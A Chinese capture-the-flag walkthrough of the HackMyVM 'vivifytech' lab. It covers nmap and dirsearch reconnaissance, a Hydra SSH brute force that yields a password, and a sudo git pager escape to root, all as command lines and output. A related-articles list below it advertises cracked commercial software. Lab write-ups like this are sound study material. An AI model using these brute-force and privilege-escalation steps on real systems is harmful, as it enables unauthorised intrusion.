【hackmyvm】vivifytech靶机

news2024/10/6 6:44:34

渗透思路

    • 信息收集
    • 端口扫描
    • 端口服务信息
    • 目录扫描
    • 爆破hydra--ssh
    • git提权

信息收集

在这里插入图片描述

┌──(kali㉿kali)-[~]
└─$ fping -ag 192.168.9.0/24 2>/dev/null
192.168.9.119    	--主机
192.168.9.164		--靶机

个人习惯,也方便后续操作,将IP地址赋值给一个变量Iip
┌──(kali㉿kali)-[~]
└─$ ip=192.168.9.164  
                                                                                                                                                                                                                                                                              
┌──(kali㉿kali)-[~]
└─$ echo $ip                     
192.168.9.164

端口扫描

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 192.168.9.164 --min-rate 10000
[sudo] kali 的密码:
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-29 05:27 EDT
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 192.168.9.163, 16) => Operation not permitted
Offending packet: TCP 192.168.9.119:38222 > 192.168.9.163:64573 S ttl=58 id=33393 iplen=44  seq=1503250300 win=1024 <mss 1460>
Nmap scan report for 192.168.9.163
Host is up (0.085s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
3306/tcp  open  mysql
33060/tcp open  mysqlx
MAC Address: 08:00:27:EC:74:96 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 66.54 seconds

开放3306:masql数据库的端口和33060:mysqlx不知道33060上网了解一下

MySQL X是一种用于MySQL数据库的新协议,它支持文档存储和异步操作,通常用于实现更高级的数据库功能

在这里插入图片描述

端口服务信息

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sV -O -p-  $ip 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-29 05:48 EDT
Nmap scan report for 192.168.9.164
Host is up (0.010s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.57 ((Debian))
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.93%I=7%D=4/29%Time=662F6CE5%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\
SF:x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20me
SF:ssage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAN
SF:Desk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\
SF:0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRP
SF:C,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid
SF:\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10
SF:\x88'\x1a\x0fInvalid\x20message\"\x05HY000");
MAC Address: 08:00:27:EC:74:96 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.86 seconds

80端口如图,扫目录
在这里插入图片描述

目录扫描

┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://192.168.9.164 -x 500,404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.9.164/_24-04-29_05-53-24.txt

Target: http://192.168.9.164/

[05:53:24] Starting: 
[05:53:27] 403 -  278B  - /.ht_wsr.txt                                      
[05:53:27] 403 -  278B  - /.htaccess.orig                                   
[05:53:27] 403 -  278B  - /.htaccess.bak1
[05:53:27] 403 -  278B  - /.htaccess.save
[05:53:27] 403 -  278B  - /.htaccess.sample                                 
[05:53:27] 403 -  278B  - /.htaccess_sc
[05:53:27] 403 -  278B  - /.htaccessOLD
[05:53:27] 403 -  278B  - /.htm
[05:53:27] 403 -  278B  - /.htaccess_orig                                   
[05:53:27] 403 -  278B  - /.htaccessOLD2                                    
[05:53:27] 403 -  278B  - /.htaccess_extra                                  
[05:53:27] 403 -  278B  - /.htaccessBAK                                     
[05:53:27] 403 -  278B  - /.html
[05:53:27] 403 -  278B  - /.htpasswds                                       
[05:53:27] 403 -  278B  - /.httr-oauth                                      
[05:53:28] 403 -  278B  - /.htpasswd_test                                   
[05:53:29] 403 -  278B  - /.php                                             
[05:54:28] 403 -  278B  - /server-status                                    
[05:54:28] 403 -  278B  - /server-status/                                   
[05:54:49] 200 -    2KB - /wordpress/wp-login.php                            
[05:54:50] 200 -   14KB - /wordpress/
Task Completed

扫到一个wordpress目录,还有登录页面
在这里插入图片描述
在这里插入图片描述
一看就是wordpress的cms,在扫描一下

┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://192.168.9.164/wordpress/                              
[sudo] kali 的密码:

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.9.164/_wordpress__24-04-29_06-17-53.txt

Target: http://192.168.9.164/
。。。                         
[06:18:33] 301 -    0B  - /wordpress/index.php  ->  http://192.168.9.164/wordpress/
[06:18:34] 404 -   55KB - /wordpress/index.php/login/                       
[06:18:37] 200 -    7KB - /wordpress/license.txt                            
[06:18:54] 200 -    3KB - /wordpress/readme.html                            
[06:19:16] 301 -  327B  - /wordpress/wp-admin  ->  http://192.168.9.164/wordpress/wp-admin/
[06:19:16] 400 -    1B  - /wordpress/wp-admin/admin-ajax.php                
[06:19:16] 409 -    3KB - /wordpress/wp-admin/setup-config.php              
[06:19:16] 200 -    0B  - /wordpress/wp-config.php                          
[06:19:16] 200 -  498B  - /wordpress/wp-admin/install.php                   
[06:19:16] 302 -    0B  - /wordpress/wp-admin/  ->  http://192.168.9.164/wordpress/wp-login.php?redirect_to=http%3A%2F%2F192.168.9.164%2Fwordpress%2Fwp-admin%2F&reauth=1
[06:19:16] 301 -  329B  - /wordpress/wp-content  ->  http://192.168.9.164/wordpress/wp-content/
[06:19:16] 200 -    0B  - /wordpress/wp-content/                            
[06:19:16] 200 -   84B  - /wordpress/wp-content/plugins/akismet/akismet.php 
[06:19:16] 500 -    0B  - /wordpress/wp-content/plugins/hello.php           
[06:19:16] 200 -  422B  - /wordpress/wp-content/upgrade/                    
[06:19:16] 200 -  483B  - /wordpress/wp-content/uploads/
[06:19:17] 301 -  330B  - /wordpress/wp-includes  ->  http://192.168.9.164/wordpress/wp-includes/
[06:19:17] 200 -    5KB - /wordpress/wp-includes/                           
[06:19:17] 200 -    0B  - /wordpress/wp-cron.php                            
[06:19:17] 200 -    2KB - /wordpress/wp-login.php
[06:19:17] 200 -    0B  - /wordpress/wp-includes/rss-functions.php          
[06:19:17] 302 -    0B  - /wordpress/wp-signup.php  ->  http://192.168.9.164/wordpress/wp-login.php?action=register
[06:19:17] 405 -   42B  - /wordpress/xmlrpc.php 

发现很多的200,一个一个的访问

在 http://192.168.9.164/wordpress/wp-includes/中发现目录遍历
在这里插入图片描述

在所有的.php文件中要么时空白页面被解析,要么不能访问,终于找到一个
http://192.168.9.164/wordpress/wp-includes/secrets.txt,文本文件,应该是用户名的密码,但是user在哪,不知道
在这里插入图片描述
看了老外的文章,找到了user用户。。。。英文不好一大冰,每每遇到English,就会自动跳过
在这里插入图片描述

爆破hydra–ssh

先下载密码
┌──(kali㉿kali)-[~]
└─$ wget http://192.168.9.164/wordpress/wp-includes/secrets.txt
--2024-04-29 06:46:52--  http://192.168.9.164/wordpress/wp-includes/secrets.txt
正在连接 192.168.9.164:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:439 [text/plain]
正在保存至: “secrets.txt”

secrets.txt                                                            100%[=========================================================================================================================================================================>]     439  --.-KB/s  用时 0s      

2024-04-29 06:46:52 (14.1 MB/s) - 已保存 “secrets.txt” [439/439])

创建用户列表

sarah
mark
emily
jake
alex
┌──(kali㉿kali)-[~]
└─$ sudo hydra -L user.txt -P secrets.txt $ip ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-29 06:53:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 240 login tries (l:5/p:48), ~15 tries per task
[DATA] attacking ssh://192.168.9.164:22/
[22][ssh] host: 192.168.9.164   login: sarah   password: bohicon
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-29 06:54:28

得到账号密码sarah :bohicon
成功登录

┌──(kali㉿kali)-[~]
└─$ ssh sarah@$ip                                
The authenticity of host '192.168.9.164 (192.168.9.164)' can't be established.
ED25519 key fingerprint is SHA256:i4eLII3uzJGiSMrTFLLAnrihC0r7/y6uuO7YMmGF7Rs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.164' (ED25519) to the list of known hosts.
sarah@192.168.9.164's password: 
Linux VivifyTech 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64
#######################################
 # 	Welcome to VivifyTech !      #
 # 	The place to be :)	     #
#######################################
Last login: Tue Dec  5 17:54:16 2023 from 192.168.177.129
sarah@VivifyTech:~$ sudo -l
[sudo] password for sarah: 
Sorry, user sarah may not run sudo on VivifyTech.
sarah@VivifyTech:~$ whoami
sarah
sarah@VivifyTech:~$ ls -al
total 32
drwx------ 4 sarah sarah 4096 Dec  5 17:53 .
drwxr-xr-x 6 root  root  4096 Dec  5 16:00 ..
-rw------- 1 sarah sarah    0 Dec  5 17:53 .bash_history
-rw-r--r-- 1 sarah sarah  245 Dec  5 17:33 .bash_logout
-rw-r--r-- 1 sarah sarah 3565 Dec  5 17:48 .bashrc
-rw------- 1 sarah sarah    0 Dec  5 17:49 .history
drwxr-xr-x 3 sarah sarah 4096 Dec  5 16:19 .local
drwxr-xr-x 2 sarah sarah 4096 Dec  5 16:19 .private
-rw-r--r-- 1 sarah sarah  807 Dec  5 15:57 .profile
-rw-r--r-- 1 sarah sarah   27 Dec  5 16:22 user.txt

在这里插入图片描述转到gbodja发现是git提权
在这里插入图片描述

git提权

在这里插入图片描述

sudo git -p help config
!/bin/bash
root@VivifyTech:/home/sarah/.private# id
uid=0(root) gid=0(root) groups=0(root)
root@VivifyTech:/home/sarah/.private# cd /root
root@VivifyTech:~# ls
root.txt
root@VivifyTech:~# cat root.txt
HMV{Y4NV!7Ch3N1N_Y0u_4r3_7h3_R007_8672}

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1634319.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IDEA 创建Servlet-HelloWorldServlet

servlet 1.创建空项目2.配置web项目3.配置Tomcat4.加载Tomcat包5.创建HelloWorldServlet类6.配置web.xml7.运行get与post请求 1.创建空项目 2.配置web项目 3.配置Tomcat 4.加载Tomcat包 5.创建HelloWorldServlet类 public class controller extends HttpServlet {Override//get…

【Hadoop】MapReduce (五)

MapReduce 入门案例练习 统计文件中每一个单词出现的次数(文件&#xff1a;words.txt)对IP去重(文件&#xff1a;ip.txt) 组件 序列化 - Writable 统计每一个人花费的上行流量、下行流量以及总流量(文件&#xff1a;flow.txt) 在MapReduce中&#xff0c;各个节点之间基本上…

【面试经典 150 | 图的广度优先搜索】最小基因变化

文章目录 写在前面Tag题目来源解题思路方法一&#xff1a;广搜 写在最后 写在前面 本专栏专注于分析与讲解【面试经典150】算法&#xff0c;两到三天更新一篇文章&#xff0c;欢迎催更…… 专栏内容以分析题目为主&#xff0c;并附带一些对于本题涉及到的数据结构等内容进行回顾…

Java使用SpringBoot和EasyExcel 实现动态数据导出实战

Java使用SpringBoot和EasyExcel 实现动态数据导出实战 1、前言2、【资源地址】3、代码示例(demo)4、目前Java实现数据导出为Excel方式5、依赖6、总结 1、前言 工作中有用到将数据导出为Excel的场景&#xff0c;在此记录下。在日常开发中&#xff0c;Excel文件处理是一项常见的…

部署(Deployment)

Today you’ll be designing your own machine learning project, creating your own dataset, training a model using your data, and finally deploying an application on the web. We’ll be using a particular deployment target called Hugging Face Space with Gradio…

今日早报 每日精选15条新闻简报 每天一分钟 知晓天下事 4月30日,星期二

每天一分钟&#xff0c;知晓天下事&#xff01; 2024年4月30日 星期二 农历三月廿二 1、 气象台&#xff1a;五一假日前期全国大部地区晴好为主&#xff0c;假日后期中东部地区需警惕大范围强降雨。 2、 交通运输部&#xff1a;5月1日0时至5日24时&#xff0c;收费公路小客车免…

通过AI助手实现一个nas定时任务更新阿里云域名解析

一.通过AI助手实现一个ip-domain.py的脚本 起一个Python脚本&#xff0c;ip-domain.py&#xff1b;注意已安装Python3.的运行环境&#xff1b;将下面阿里云相关配置添加&#xff0c;注意这里引用了两个包&#xff0c;requests和alibabacloud_alidns20150109&#xff1b;执行前…

【优质书籍推荐】Vue.js 3.x+Element Plus从入门到精通

大家好&#xff0c;我是爱编程的喵喵。双985硕士毕业&#xff0c;现担任全栈工程师一职&#xff0c;热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。…

袁庭新ES系列17节|Spring Data Elasticsearch基础

前言 为了简化对Elasticsearch的操作Spring Data提供了Spring Data Elasticsearch。Spring Data Elasticsearch是Spring Data技术对Elasticsearch原生API封装之后的产物&#xff0c;它通过对原生API的封装&#xff0c;使得程序员可以简单的对Elasticsearch进行各种操作。接下来…

华为 huawei 交换机 配置 MUX VLAN 示例(汇聚层设备)

组网需求 在企业网络中&#xff0c;企业所有员工都可以访问企业的服务器。但对于企业来说&#xff0c;希望企业内部部分员工之间可以互相交流&#xff0c;而部分员工之间是隔离的&#xff0c;不能够互相访问。 如 图 6-4 所示&#xff0c; Switch1 位于网络的汇聚层&#xff0…

STM32F103学习笔记 | 4.STM32F103芯片介绍

STM32F1入门学习将使用STM32F103C8T6开发板最小系统板。小R为什么选择它来入门呢&#xff1f;咳咳~首先&#xff0c;ST官方提供强大且易用的标准库函数&#xff0c;使得开发过程方便快捷&#xff1b;其次&#xff0c;网上的教程资料多也十分详细。所以呢&#xff0c;它对高校学…

SQLite的扩展函数Carray()表值函数(三十八)

返回&#xff1a;SQLite—系列文章目录 上一篇:SQLite如何处理CSV 虚拟表 下一篇&#xff1a;SQLite—系列文章目录 ​ 1. 概述 Carray()是一个具有单列的表值函数(名为 “value”)和零行或多行。 carray() 中每一行的“值”取自 C 语言数组 由应用程序通过参数绑定提…

【yolov8目标检测部署】TensorRT int8量化

原作者github&#xff1a;https://github.com/xuanandsix/Tensorrt-int8-quantization-pipline/tree/main 改进&#xff1a; 源代码支持的TensorRT版本为7.许多属性已经弃用&#xff1b; 在原有的代码上将支持的TensorRT版本从7改到8. &#xff01;&#xff01;不知道如何安装T…

工具链工具——映射与调度、模拟与验证、开发与测试工具

本篇文章将重点介绍工具链的工具相关知识&#xff0c;我们将从工具链的基本概念出发&#xff0c;重点介绍工具链中的映射和调度工具、模拟与验证工具、开发和测试工具&#xff0c;最后提出对工具链发展的展望&#xff0c;从而对工具链的工具进行一个较为系统的讲解。 工具链的…

万兴PDF专家 PDFelement Pro v10.3.8 破姐版!

&#x1f9d1;‍&#x1f4bb;万兴PDF专家 PDFelement Pro v10.3.8 破姐版 (https://docs.qq.com/sheet/DRVVxTHJ3RXJFVHVr)

WebSocket 全面解析

&#x1f31f; 引言 WebSocket&#xff0c;一个让实时通信变得轻而易举的神器&#xff0c;它打破了传统HTTP协议的限制&#xff0c;实现了浏览器与服务器间的全双工通信。想象一下&#xff0c;即时消息、在线游戏、实时股票报价…这一切都离不开WebSocket的魔力&#x1f4ab;。…

利用word2vec包将中文转变为词向量

代码展示&#xff1a; import jieba import re import json import logging import sys import gensim.models as word2vec from gensim.models.word2vec import LineSentence, loggerpattern u[\\s\\d,.<>/?:;\\"[\\]{}()\\|~!\t"#$%^&*\\-_a-zA-Z&…

网页使用之如何返回json/xml

后端返回json数据给前端进行渲染的方式比较熟悉&#xff0c;至于返回html页面&#xff0c;返回xml的方式接触逐渐减少&#xff0c;来在项目中熟悉这一点。 返回文本数据 json姿势的返回实属最简单的方式&#xff0c;在SpringBoot应用中&#xff0c;有两种简单的方式 1.直接在…

【docker 】Windows10安装 Docker

安装 Hyper-V Hyper-V 是微软开发的虚拟机&#xff0c;仅适用于 Windows 10。 按键&#xff1a; win键X &#xff0c;选着程序和功能 在查找设置中输入&#xff1a;启用或关闭Windows功能 选中Hyper-V 点击确定 安装 Docker Desktop for Windows Docker Desktop 官方下载…

LeetCode46:全排列

题目描述 给定一个不含重复数字的数组 nums &#xff0c;返回其 所有可能的全排列 。你可以 按任意顺序 返回答案 解题思想 使用used记录元素是否使用过&#xff0c;排列是有序的&#xff0c;要注意与组合的区别。 代码 class Solution { public:vector<vector<int>…